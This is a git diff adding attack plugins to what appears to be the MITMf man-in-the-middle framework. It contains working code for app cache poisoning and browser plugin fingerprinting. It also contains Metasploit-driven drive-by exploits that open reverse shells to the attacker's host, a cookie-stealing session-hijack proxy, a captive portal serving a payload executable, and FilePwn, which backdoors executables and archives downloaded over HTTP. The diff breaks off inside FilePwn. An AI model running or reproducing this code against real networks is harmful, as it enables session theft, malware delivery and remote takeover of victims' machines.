that's in place for speed reasons''' - if request.isImageRequest: - request.isImageRequest = False - request.isImage = True - request.imageType = value.split("/")[1].upper() - - def handleResponse(self, request, data): - try: - isImage = getattr(request, 'isImage') - except AttributeError: - isImage = False - - if isImage: - try: - image_type = request.imageType - #For some reason more images get parsed using the parser - #rather than a file...PIL still needs some work I guess - p = ImageFile.Parser() - p.feed(data) - im = p.close() - im = im.transpose(Image.ROTATE_180) - output = StringIO() - im.save(output, format=image_type) - data = output.getvalue() - output.close() - logging.info("Flipped image") - except Exception as e: - print "Error: %s" % e - return {'request': request, 'data': data} diff --git a/plugins/__init__.py b/plugins/__init__.py index 5026fd4..9522dbd 100644 --- a/plugins/__init__.py +++ b/plugins/__init__.py @@ -1,6 +1,3 @@ -#Hack grabbed from http://stackoverflow.com/questions/1057431/loading-all-modules-in-a-folder-in-python -#Has to be a cleaner way to do this, but it works for now import os import glob __all__ = [ os.path.basename(f)[:-3] for f in glob.glob(os.path.dirname(__file__)+"/*.py")] - diff --git a/plugins/appcachepoison.py b/plugins/appcachepoison.py new file mode 100644 index 0000000..505c5f6 --- /dev/null +++ b/plugins/appcachepoison.py @@ -0,0 +1,173 @@ +# Copyright (c) 2014-2016 Krzysztof Kotowicz, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import re +import os.path +import time +import sys + +from datetime import date +from plugins.plugin import Plugin + +class AppCachePlugin(Plugin): + name = "AppCachePoison" + optname = "appoison" + desc = "Performs App Cache Poisoning attacks" + version = "0.3" + + def initialize(self, options): + self.options = options + self.mass_poisoned_browsers = [] + + from core.sslstrip.URLMonitor import URLMonitor + self.urlMonitor = URLMonitor.getInstance() + self.urlMonitor.caching = True + self.urlMonitor.setAppCachePoisoning() + + def response(self, response, request, data): + + self.app_config = self.config['AppCachePoison'] + url = request.client.uri + req_headers = request.client.getAllHeaders() + headers = request.client.responseHeaders + ip = request.client.getClientIP() + + if "enable_only_in_useragents" in self.app_config: + regexp = self.app_config["enable_only_in_useragents"] + if regexp and not re.search(regexp,req_headers["user-agent"]): + self.clientlog.info("Tampering disabled in this useragent ({})".format(req_headers["user-agent"]), extra=request.clientInfo) + return {'response': response, 'request': request, 'data': data} + + urls = self.urlMonitor.getRedirectionSet(url) + self.clientlog.debug("Got redirection set: {}".format(urls), extra=request.clientInfo) + + section = False + for url in urls: + for name in self.app_config: + if isinstance(self.app_config[name], dict): #'tis a section + section = self.app_config[name] + + if section.get('manifest_url', False) == url: + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + self.clientlog.info("Poisoning manifest URL", extra=request.clientInfo) + data = self.getSpoofedManifest(url, section) + headers.setRawHeaders("Content-Type", ["text/cache-manifest"]) + + elif section.get('raw_url',False) == url: # raw resource to modify, it does not have to be html + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning raw URL", extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + with open(p + '.replace', 'r') as f: + data = f.read() + + elif os.path.exists(p + '.append'): # append file to body + with open(p + '.append', 'r') as f: + data += f.read() + + elif (section.get('tamper_url',False) == url) or (section.has_key('tamper_url_match') and re.search(section['tamper_url_match'], url)): + self.clientlog.info("Found URL in section '{}'!".format(name), extra=request.clientInfo) + p = self.getTemplatePrefix(section) + self.clientlog.info("Poisoning URL with tamper template: {}".format(p), extra=request.clientInfo) + if os.path.exists(p + '.replace'): # replace whole content + with open(p + '.replace', 'r') as f: + data = f.read() + + elif os.path.exists(p + '.append'): # append file to body + with open(p + '.append', 'r') as f: + appendix = f.read() + data = re.sub(re.compile("", re.IGNORECASE), appendix + "", data) #append to body + + # add manifest reference + data = re.sub(re.compile("",re.IGNORECASE),appendix + "", data) + self.mass_poisoned_browsers.append(browser_id) # mark to avoid mass spoofing for this ip + return data + + def getMassPoisonHtml(self): + html = "
" + for i in self.app_config: + if isinstance(self.app_config[i], dict): + if self.app_config[i].has_key('tamper_url') and not self.app_config[i].get('skip_in_mass_poison', False): + html += "" + + return html + "
" + + def cacheForFuture(self, headers): + ten_years = 315569260 + headers.setRawHeaders("Cache-Control",["max-age={}".format(ten_years)]) + headers.setRawHeaders("Last-Modified",["Mon, 29 Jun 1998 02:28:12 GMT"]) # it was modifed long ago, so is most likely fresh + in_ten_years = date.fromtimestamp(time.time() + ten_years) + headers.setRawHeaders("Expires",[in_ten_years.strftime("%a, %d %b %Y %H:%M:%S GMT")]) + + def getSpoofedManifest(self, url, section): + p = self.getTemplatePrefix(section) + if not os.path.exists(p+'.manifest'): + p = self.getDefaultTemplatePrefix() + + with open(p + '.manifest', 'r') as f: + manifest = f.read() + return self.decorate(manifest, section) + + def decorate(self, content, section): + for entry in section: + content = content.replace("%%{}%%".format(entry), section[entry]) + return content + + def getTemplatePrefix(self, section): + if section.has_key('templates'): + return self.app_config['templates_path'] + '/' + section['templates'] + + return self.getDefaultTemplatePrefix() + + def getDefaultTemplatePrefix(self): + return self.app_config['templates_path'] + '/default' + + def getManifestUrl(self, section): + return section.get("manifest_url",'/robots.txt') diff --git a/plugins/browserprofiler.py b/plugins/browserprofiler.py new file mode 100644 index 0000000..6f3f564 --- /dev/null +++ b/plugins/browserprofiler.py @@ -0,0 +1,46 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# +import json + +from pprint import pformat +from plugins.plugin import Plugin +from plugins.inject import Inject + +class BrowserProfiler(Inject, Plugin): + name = "BrowserProfiler" + optname = "browserprofiler" + desc = "Attempts to enumerate all browser plugins of connected clients" + version = "0.3" + + def initialize(self, options): + Inject.initialize(self, options) + self.js_file = "./core/javascript/plugindetect.js" + self.output = {} # so other plugins can access the results + + def request(self, request): + if (request.command == 'POST') and ('clientprfl' in request.uri): + request.handle_post_output = True + self.output = json.loads(request.postData) + self.output['ip'] = request.client.getClientIP() + pretty_output = pformat(self.output) + self.clientlog.info("Got profile:\n{}".format(pretty_output), extra=request.clientInfo) + + def options(self, options): + pass diff --git a/plugins/browsersniper.py b/plugins/browsersniper.py new file mode 100644 index 0000000..ea11fa6 --- /dev/null +++ b/plugins/browsersniper.py @@ -0,0 +1,178 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import string +import random +import threading +from time import sleep +from plugins.plugin import Plugin +from plugins.browserprofiler import BrowserProfiler + +class BrowserSniper(BrowserProfiler, Plugin): + name = "BrowserSniper" + optname = "browsersniper" + desc = "Performs drive-by attacks on clients with out-of-date browser plugins" + version = "0.4" + + def initialize(self, options): + self.options = options + self.msfip = options.ip + self.sploited_ips = [] #store ip of pwned or not vulnerable clients so we don't re-exploit + + #Initialize the BrowserProfiler plugin + BrowserProfiler.initialize(self, options) + + from core.msfrpc import Msf + self.msf = Msf() + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='sniper', target=self.snipe) + t.setDaemon(True) + t.start() + + def _setupExploit(self, exploit, msfport): + + self.log.debug('Setting up {}'.format(exploit)) + rand_url = "/" + ''.join(random.sample(string.ascii_uppercase + string.ascii_lowercase, 5)) + rand_port = random.randint(1000, 65535) + + #generate the command string to send to the virtual console + cmd = "use exploit/{}\n".format(exploit) + cmd += "set SRVPORT {}\n".format(msfport) + cmd += "set URIPATH {}\n".format(rand_url) + cmd += "set PAYLOAD generic/shell_reverse_tcp\n" + cmd += "set LHOST {}\n".format(self.msfip) + cmd += "set LPORT {}\n".format(rand_port) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + return rand_url + + def _compat_system(self, os_config, brw_config, os, browser): + + if (os_config == 'any') and (brw_config == 'any'): + return True + + if (os_config == 'any') and (brw_config in browser): + return True + + if (os_config in os) and (brw_config == 'any'): + return True + + if (os_config in os) and (brw_config in browser): + return True + + return False + + def getExploits(self): + exploits = [] + vic_ip = self.output['ip'] + os = self.output['ua_name'] + browser = self.output['os_name'] + java = None + flash = None + + if self.output['java'] is not None: + java = self.output['java'] + + if self.output['flash'] is not None: + flash = self.output['flash'] + + self.log.info("{} => OS: {} | Browser: {} | Java: {} | Flash: {}".format(vic_ip, os, browser, java, flash)) + + for exploit, details in self.config['BrowserSniper']['exploits'].iteritems(): + + if self._compat_system(details['OS'].lower(), details['Browser'].lower(), os.lower(), browser.lower()): + + if details['Type'].lower() == 'browservuln': + exploits.append(exploit) + + elif details['Type'].lower() == 'pluginvuln': + + if details['Plugin'].lower() == 'java': + if (java is not None) and (java in details['PluginVersions']): + exploits.append(exploit) + + elif details['Plugin'].lower() == 'flash': + + if (flash is not None) and (flash in details['PluginVersions']): + exploits.append(exploit) + + self.log.info("{} => Compatible exploits: {}".format(vic_ip, exploits)) + return exploits + + def injectAndPoll(self, ip, url): #here we inject an iframe to trigger the exploit and check for resulting sessions + + #inject iframe + self.log.info("{} => Now injecting iframe to trigger exploits".format(ip)) + self.html_url = url + + #The following will poll Metasploit every 2 seconds for new sessions for a maximum of 60 seconds + #Will also make sure the shell actually came from the box that we targeted + self.log.info('{} => Waiting for ze shellz, sit back and relax...'.format(ip)) + + poll_n = 1 + while poll_n != 30: + + if self.msf.sessionsfrompeer(ip): + self.log.info("{} => Client haz been 0wn3d! Enjoy!".format(ip)) + self.sploited_ips.append(ip) + self.black_ips = self.sploited_ips #Add to inject plugin blacklist since box has been popped + self.html_url = None + return + + poll_n += 1 + sleep(2) + + self.log.info("{} => Session not established after 60 seconds".format(ip)) + self.html_url = None + + def snipe(self): + while True: + if self.output: + vic_ip = self.output['ip'] + + if vic_ip not in self.sploited_ips: + msfport = self.config['BrowserSniper']['msfport'] + exploits = self.getExploits() + + if not exploits: + self.log.info('{} => Client not vulnerable to any exploits, adding to blacklist'.format(vic_ip)) + self.sploited_ips.append(vic_ip) + self.black_ips = self.sploited_ips + + elif exploits and (vic_ip not in self.sploited_ips): + self.log.info("{} => Client vulnerable to {} exploits".format(vic_ip, len(exploits))) + + for exploit in exploits: + + jobs = self.msf.findjobs(exploit) + if jobs: + self.log.info('{} => {} already started'.format(vic_ip, exploit)) + url = self.msf.jobinfo(jobs[0])['uripath'] #get the url assigned to the exploit + else: + url = self._setupExploit(exploit, msfport) + + iframe_url = 'http://{}:{}{}'.format(self.msfip, msfport, url) + self.injectAndPoll(vic_ip, iframe_url) + + sleep(1) diff --git a/plugins/captive.py b/plugins/captive.py new file mode 100755 index 0000000..7bbaa94 --- /dev/null +++ b/plugins/captive.py @@ -0,0 +1,149 @@ +# Copyright (c) 2014-2016 Oliver Nettinger, Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +# note: portal.html has been adapted from +# config/responder/AccessDenied.html for now + +from plugins.plugin import Plugin +from urlparse import urlparse + + +class Captive(Plugin): + name = "Captive Portal" + optname = "captive" + tree_info = ["Captive Portal online"] + desc = "Be a captive portal!" + version = "0.1" + + def initialize(self, options): + self.options = options + + from core.utils import shutdown + + if options.portalurl: + self.portalurl = options.portalurl + else: + # self.options.ip is prefilled earlier + self.hostname = 'captive.portal' if self.options.usedns else self.options.ip + + if options.portaldir: + self.serve_dir(options.portaldir) + else: + self.serve_portal() + + def response(self, response, request, data): + + if urlparse(self.portalurl).hostname not in request.headers['host']: + self.clientlog.info("Redirecting to captive portal {}".format(self.portalurl), extra=request.clientInfo) + response.headers = {} + data = ''' + +

Please click here if you are not redirected automatically

+ + '''.format(self.portalurl) + response.redirect(self.portalurl) + + return {'response': response, 'request':request, 'data': data} + + def options(self, options): + ''' captive can be either run redirecting to a specified url (--portalurl), serve the payload locally (no argument) or + start an instance of SimpleHTTPServer to serve the LOCALDIR (--portaldir) ''' + group = options.add_mutually_exclusive_group(required=False) + group.add_argument('--portalurl', dest='portalurl', metavar="URL", help='Specify the URL where the portal is located, e.g. http://example.com.') + group.add_argument('--portaldir', dest='portaldir', metavar="LOCALDIR", help='Specify a local path containg the portal files served with a SimpleHTTPServer on a different port (see config).') + + options.add_argument('--use-dns', dest='usedns', action='store_true', help='Whether we use dns spoofing to serve from a fancier portal URL captive.portal when used without options or portaldir. Requires DNS for "captive.portal" to resolve, e.g. via configured dns spoofing --dns.') + + def on_shutdown(self): + '''This will be called when shutting down''' + pass + + def serve_portal(self): + + self.portalurl = 'http://{}/portal.html'.format(self.hostname) + + from core.servers.HTTP import HTTP + HTTP.add_static_endpoint('portal.html','text/html', './config/captive/portal.html') + HTTP.add_static_endpoint('CaptiveClient.exe','application/octet-stream', self.config['Captive']['PayloadFilename']) + self.tree_info.append("Portal login served by built-in HTTP server.") + + + def serve_dir(self, dir): + import threading + import posixpath + import urllib + import os + from SimpleHTTPServer import SimpleHTTPRequestHandler + from BaseHTTPServer import HTTPServer as ServerClass + Protocol = "HTTP/1.0" + port = self.config['Captive']['Port'] + ServerString = self.config['Captive']['ServerString'] + + self.portalurl = "http://{}:{}/".format(self.hostname, port) + + ROUTES = (['', dir],) + class HandlerClass(SimpleHTTPRequestHandler): + '''HandlerClass adapted from https://gist.github.com/creativeaura/5546779''' + + def translate_path(self, path): + '''translate path given routes''' + + # set default root to cwd + root = os.getcwd() + + # look up routes and set root directory accordingly + for pattern, rootdir in ROUTES: + if path.startswith(pattern): + # found match! + path = path[len(pattern):] # consume path up to pattern len + root = rootdir + break + + # normalize path and prepend root directory + path = path.split('?',1)[0] + path = path.split('#',1)[0] + path = posixpath.normpath(urllib.unquote(path)) + words = path.split('/') + words = filter(None, words) + + path = root + for word in words: + drive, word = os.path.splitdrive(word) + head, word = os.path.split(word) + if word in (os.curdir, os.pardir): + continue + path = os.path.join(path, word) + + return path + + + server_address = ('0.0.0.0', int(port)) + HandlerClass.protocol_version = Protocol + HandlerClass.server_version = ServerString + + httpd = ServerClass(server_address, HandlerClass) + ServerClass.path = dir + + sa = httpd.socket.getsockname() + try: + t = threading.Thread(name='PortalServer', target=httpd.serve_forever) + t.setDaemon(True) + t.start() + self.tree_info.append("Portal Server instance running on port {} serving {}".format(port, dir)) + except Exception as e: + shutdown("Failed to start Portal Server") diff --git a/plugins/ferretng.py b/plugins/ferretng.py new file mode 100644 index 0000000..fbe7e7d --- /dev/null +++ b/plugins/ferretng.py @@ -0,0 +1,95 @@ +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +import json +import sys + +from datetime import datetime +from plugins.plugin import Plugin +from twisted.internet import reactor +from twisted.web import http +from core.ferretng.URLMonitor import URLMonitor + +class FerretNG(Plugin): + name = "Ferret-NG" + optname = "ferretng" + desc = "Captures cookies and starts a proxy that will feed them to connected clients" + version = "0.1" + + def initialize(self, options): + self.options = options + self.ferret_port = options.ferret_port + self.cookie_file = None + + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + from core.utils import shutdown + if options.cookie_file: + self.tree_info.append('Loading cookies from log file') + try: + with open(options.cookie_file, 'r') as cookie_file: + self.cookie_file = json.dumps(cookie_file.read()) + URLMonitor.getInstance().cookies = self.cookie_file + except Exception as e: + shutdown("[-] Error loading cookie log file: {}".format(e)) + + self.tree_info.append("Listening on port {}".format(self.ferret_port)) + + def on_config_change(self): + self.log.info("Will now hijack captured sessions from {}".format(self.config['Ferret-NG']['Client'])) + URLMonitor.getInstance().hijack_client = self.config['Ferret-NG']['Client'] + + def request(self, request): + if 'cookie' in request.headers: + host = request.headers['host'] + cookie = request.headers['cookie'] + client = request.client.getClientIP() + + if client not in URLMonitor.getInstance().cookies: + URLMonitor.getInstance().cookies[client] = [] + + for entry in URLMonitor.getInstance().cookies[client]: + if host == entry['host']: + self.clientlog.debug("Updating captured session for {}".format(host), extra=request.clientInfo) + entry['host'] = host + entry['cookie'] = cookie + return + + self.clientlog.info("Host: {} Captured cookie: {}".format(host, cookie), extra=request.clientInfo) + URLMonitor.getInstance().cookies[client].append({'host': host, 'cookie': cookie}) + + def reactor(self, StrippingProxy): + from core.ferretng.FerretProxy import FerretProxy + FerretFactory = http.HTTPFactory(timeout=10) + FerretFactory.protocol = FerretProxy + reactor.listenTCP(self.ferret_port, FerretFactory) + + def options(self, options): + options.add_argument('--port', dest='ferret_port', metavar='PORT', default=10010, type=int, help='Port to start Ferret-NG proxy on (default 10010)') + options.add_argument('--load-cookies', dest='cookie_file', metavar='FILE', type=str, help='Load cookies from a log file') + + def on_shutdown(self): + if not URLMonitor.getInstance().cookies: + return + + if self.cookie_file == URLMonitor.getInstance().cookies: + return + + self.log.info("Writing cookies to log file") + with open('./logs/ferret-ng/cookies-{}.log'.format(datetime.now().strftime("%Y-%m-%d_%H:%M:%S:%s")), 'w') as cookie_file: + cookie_file.write(str(URLMonitor.getInstance().cookies)) diff --git a/plugins/filepwn.py b/plugins/filepwn.py new file mode 100644 index 0000000..571d5ed --- /dev/null +++ b/plugins/filepwn.py @@ -0,0 +1,677 @@ +#!/usr/bin/env python2.7 + +# Copyright (c) 2014-2016 Marcello Salvati +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation; either version 3 of the +# License, or (at your option) any later version. +# +# This program is distributed in the hope that it will be useful, but +# WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU +# General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write to the Free Software +# Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 +# USA +# + +#--------------------------------------------------------------------------------# + +# BackdoorFactory Proxy (BDFProxy) v0.2 - 'Something Something' +# +# Author Joshua Pitts the.midnite.runr 'at' gmail com +# +# Copyright (c) 2013-2014, Joshua Pitts +# All rights reserved. +# +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: +# +# 1. Redistributions of source code must retain the above copyright notice, +# this list of conditions and the following disclaimer. +# +# 2. Redistributions in binary form must reproduce the above copyright notice, +# this list of conditions and the following disclaimer in the documentation +# and/or other materials provided with the distribution. +# +# 3. Neither the name of the copyright holder nor the names of its contributors +# may be used to endorse or promote products derived from this software without +# specific prior written permission. +# +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" +# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE +# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE +# ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE +# LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR +# CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF +# SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS +# INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN +# CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) +# ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE +# POSSIBILITY OF SUCH DAMAGE. +# +# Tested on Kali-Linux. (and Arch Linux) + +import sys +import os +import pefile +import zipfile +import logging +import shutil +import tempfile +import random +import string +import threading +import multiprocessing +import tarfile +import magic + +from libs.bdfactory import pebin +from libs.bdfactory import elfbin +from libs.bdfactory import machobin + +from plugins.plugin import Plugin +from tempfile import mkstemp + +class FilePwn(Plugin): + name = "FilePwn" + optname = "filepwn" + desc = "Backdoor executables being sent over http using bdfactory" + tree_info = ["BDFProxy v0.3.2 online"] + version = "0.3" + + def initialize(self, options): + '''Called if plugin is enabled, passed the options namespace''' + self.options = options + + self.patched = multiprocessing.Queue() + + from core.msfrpc import Msf + self.msf = Msf() + + self.binaryMimeType = {'mimes': ['application/octet-stream', 'application/x-msdownload', + 'application/x-msdos-program', 'binary/octet-stream', + 'application/x-executable', 'application/x-dosexec']} + + self.zipType = {'mimes': ['application/x-zip-compressed', 'application/zip'], 'params': {'type': 'ZIP', 'format': 'zip', 'filter': None}} # .zip + + self.gzType = {'mimes': ['application/gzip', 'application/x-gzip', 'application/gnutar'], 'params': {'type': 'TAR', 'format': 'ustar', 'filter': 'gzip'}} # .gz + + self.tarType = {'mimes': ['application/x-tar'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': None}} # .tar + + self.bzType = {'mimes': ['application/x-bzip2', 'application/x-bzip'], 'params': {'type': 'TAR', 'format': 'gnutar', 'filter': 'bzip2'}} # .bz / .bz2 + + self.archiveTypes = [self.zipType, self.gzType, self.tarType, self.bzType] + + #FilePwn options + self.set_config() + self.parse_target_config(self.user_config['targets']['ALL']) + + self.tree_info.append("Connected to Metasploit v{}".format(self.msf.version)) + + t = threading.Thread(name='setup_msf', target=self.setup_msf) + t.setDaemon(True) + t.start() + + def setup_msf(self): + for config in [self.LinuxIntelx86, self.LinuxIntelx64, self.WindowsIntelx86, self.WindowsIntelx64, self.MachoIntelx86, self.MachoIntelx64]: + cmd = "use exploit/multi/handler\n" + cmd += "set payload {}\n".format(config["MSFPAYLOAD"]) + cmd += "set LHOST {}\n".format(config["HOST"]) + cmd += "set LPORT {}\n".format(config["PORT"]) + cmd += "set ExitOnSession False\n" + cmd += "exploit -j\n" + + self.msf.sendcommand(cmd) + + def on_config_change(self): + self.initialize(self.options) + + def str2bool(self, val): + if val.lower() == 'true': + return True + elif val.lower() == 'false': + return False + else: + return None + + def inject(self, data): + + if len(data) > self.archive_max_size: + self.log.error("{0} over allowed size".format(self.archive_type)) + return data + + buf = None + + if self.archive_type == "ZIP": + buf = self.inject_zip(data) + elif self.archive_type == "TAR": + buf = self.inject_tar(data, self.archive_params['filter']) + + return buf + + def inject_tar(self, aTarFileBytes, formatt=None): + # When called will unpack and edit a Tar File and return a tar file" + + tmp_file = tempfile.NamedTemporaryFile() + tmp_file.write(aTarFileBytes) + tmp_file.seek(0) + + compression_mode = ':' + if formatt == 'gzip': + compression_mode = ':gz' + if formatt == 'bzip2': + compression_mode = ':bz2' + + try: + tar_file = tarfile.open(fileobj=tmp_file, mode='r' + compression_mode) + except tarfile.ReadError as ex: + self.log.warning(ex) + tmp_file.close() + return aTarFileBytes + + self.log.info("TarFile contents and info (compression: {0}):".format(formatt)) + + members = tar_file.getmembers() + for info in members: + print "\t{0} {1}".format(info.name, info.size) + + new_tar_storage = tempfile.NamedTemporaryFile() + new_tar_file = tarfile.open(mode='w' + compression_mode, fileobj=new_tar_storage) + + patch_count = 0 + was_patched = False + + for info in members: + self.log.info(">>> Next file in tarfile: {0}".format(info.name)) + + if not info.isfile(): + self.log.warning("{0} is not a file, skipping".format(info.name)) + new_tar_file.addfile(info, tar_file.extractfile(info)) + continue + + if info.size >= long(self.FileSizeMax): + self.log.warning("{0} is too big, skipping".format(info.name)) + new_tar_file.addfile(info, tar_file.extractfile(info)) + continue + + # Check against keywords + if self.check_keyword(info.name.lower()) is True: + self.log.info('Tar blacklist enforced on {0}'.format(info.name)) + continue + + # Try to patch + extracted_file = tar_file.extractfile(info) + + if patch_count >= self.archive_patch_count: + self.log.info("Met archive config patchCount limit. Adding original file") + new_tar_file.addfile(info, extracted_file) + else: + # create the file on disk temporarily for fileGrinder to run on it + with tempfile.NamedTemporaryFile() as tmp: + shutil.copyfileobj(extracted_file, tmp) + tmp.flush() + patch_result = self.binaryGrinder(tmp.name) + if patch_result: + patch_count += 1 + file2 = os.path.join(BDFOLDER, os.path.basename(tmp.name)) + self.log.info("{0} in archive patched, adding to final archive".format(info.name)) + info.size = os.stat(file2).st_size + with open(file2, 'rb') as f: + new_tar_file.addfile(info, f) + os.remove(file2) + was_patched = True + else: + self.log.info("{0} patching failed. Keeping original file.".format(info.name)) + with open(tmp.name, 'rb') as f: + new_tar_file.addfile(info, f) + + # finalize the writing of the tar file first + new_tar_file.close() + + if was_patched is False: + # If nothing was changed return the original + self.log.info("No files were patched. Forwarding original file") + new_tar_storage.close() # it's automatically deleted + return aTarFileBytes + + # then read the new tar file into memory + new_tar_storage.seek(0) + buf = new_tar_storage.read() + new_tar_storage.close() # it's automatically deleted + + return buf + + def inject_zip(self, aZipFile): + # When called will unpack and edit a Zip File and return a zip file + tmp_file = tempfile.NamedTemporaryFile() + tmp_file.write(aZipFile) + tmp_file.seek(0) + + zippyfile = zipfile.ZipFile(tmp_file.name, 'r') + + # encryption test + try: + zippyfile.testzip() + except RuntimeError as e: + if 'encrypted' in str(e): + self.log.warning("Encrypted zipfile found. Not patching.") + else: + self.log.warning("Zipfile test failed. Returning original archive") + zippyfile.close() + tmp_file.close() + return aZipFile + + self.log.info("ZipFile contents and info:") + + for info in zippyfile.infolist(): + print "\t{0} {1}".format(info.filename, info.file_size) + + tmpDir = tempfile.mkdtemp() + zippyfile.extractall(tmpDir) + + patch_count = 0 + was_patched = False + + for info in zippyfile.infolist(): + self.log.info(">>> Next file in zipfile: {0}".format(info.filename)) + actual_file = os.path.join(tmpDir, info.filename) + + if os.path.islink(actual_file) or not os.path.isfile(actual_file): + self.log.warning("{0} is not a file, skipping".format(info.filename)) + continue + + if os.lstat(actual_file).st_size >= long(self.FileSizeMax): + self.log.warning("{0} is too big, skipping".format(info.filename)) + continue + + # Check against keywords + if self.check_keyword(info.filename.lower()) is True: + self.log.info('Zip blacklist enforced on {0}'.format(info.filename)) + continue + + if patch_count >= self.archive_patch_count: + self.log.info("Met archive config patchCount limit. Adding original file") + break + else: + patch_result = self.binaryGrinder(actual_file) + if patch_result: + patch_count += 1 + file2 = os.path.join(BDFOLDER, os.path.basename(info.filename)) + self.log.info("Patching complete, adding to archive file.") + shutil.copyfile(file2, actual_file) + self.log.info("{0} in archive patched, adding to final archive".format(info.filename)) + os.remove(file2) + was_patched = True + else: + self.log.error("{0} patching failed. Keeping original file.".format(info.filename)) + + zippyfile.close() + + if was_patched is False: + self.log.info("No files were patched. Forwarding original file") + tmp_file.close() + shutil.rmtree(tmpDir, ignore_errors=True) + return aZipFile + + zip_result = zipfile.ZipFile(tmp_file.name, 'w', zipfile.ZIP_DEFLATED) + + for base, dirs, files in os.walk(tmpDir): + for afile in files: + filename = os.path.join(base, afile) + zip_result.write(filename, arcname=filename.replace(tmpDir + '/', '')) + + zip_result.close() + # clean up + shutil.rmtree(tmpDir, ignore_errors=True) + + with open(tmp_file.name, 'rb') as f: + zip_data = f.read() + tmp_file.close() + + return zip_data + + def binaryGrinder(self, binaryFile): + """ + Feed potential binaries into this function, + it will return the result PatchedBinary, False, or None + """ + + with open(binaryFile, 'r+b') as f: + binaryTMPHandle = f.read() + + binaryHeader = binaryTMPHandle[:4] + result = None + + try: + if binaryHeader[:2] == 'MZ': # PE/COFF + pe = pefile.PE(data=binaryTMPHandle, fast_load=True) + magic = pe.OPTIONAL_HEADER.Magic + machineType = pe.FILE_HEADER.Machine + + # update when supporting more than one arch + if (magic == int('20B', 16) and machineType == 0x8664 and + self.WindowsType.lower() in ['all', 'x64']): + add_section = False + cave_jumping = False + if self.WindowsIntelx64['PATCH_TYPE'].lower() == 'append': + add_section = True + elif self.WindowsIntelx64['PATCH_TYPE'].lower() == 'jump': + cave_jumping = True + + # if automatic override + if self.WindowsIntelx64['PATCH_METHOD'].lower() == 'automatic': + cave_jumping = True + + targetFile = pebin.pebin(FILE=binaryFile, + 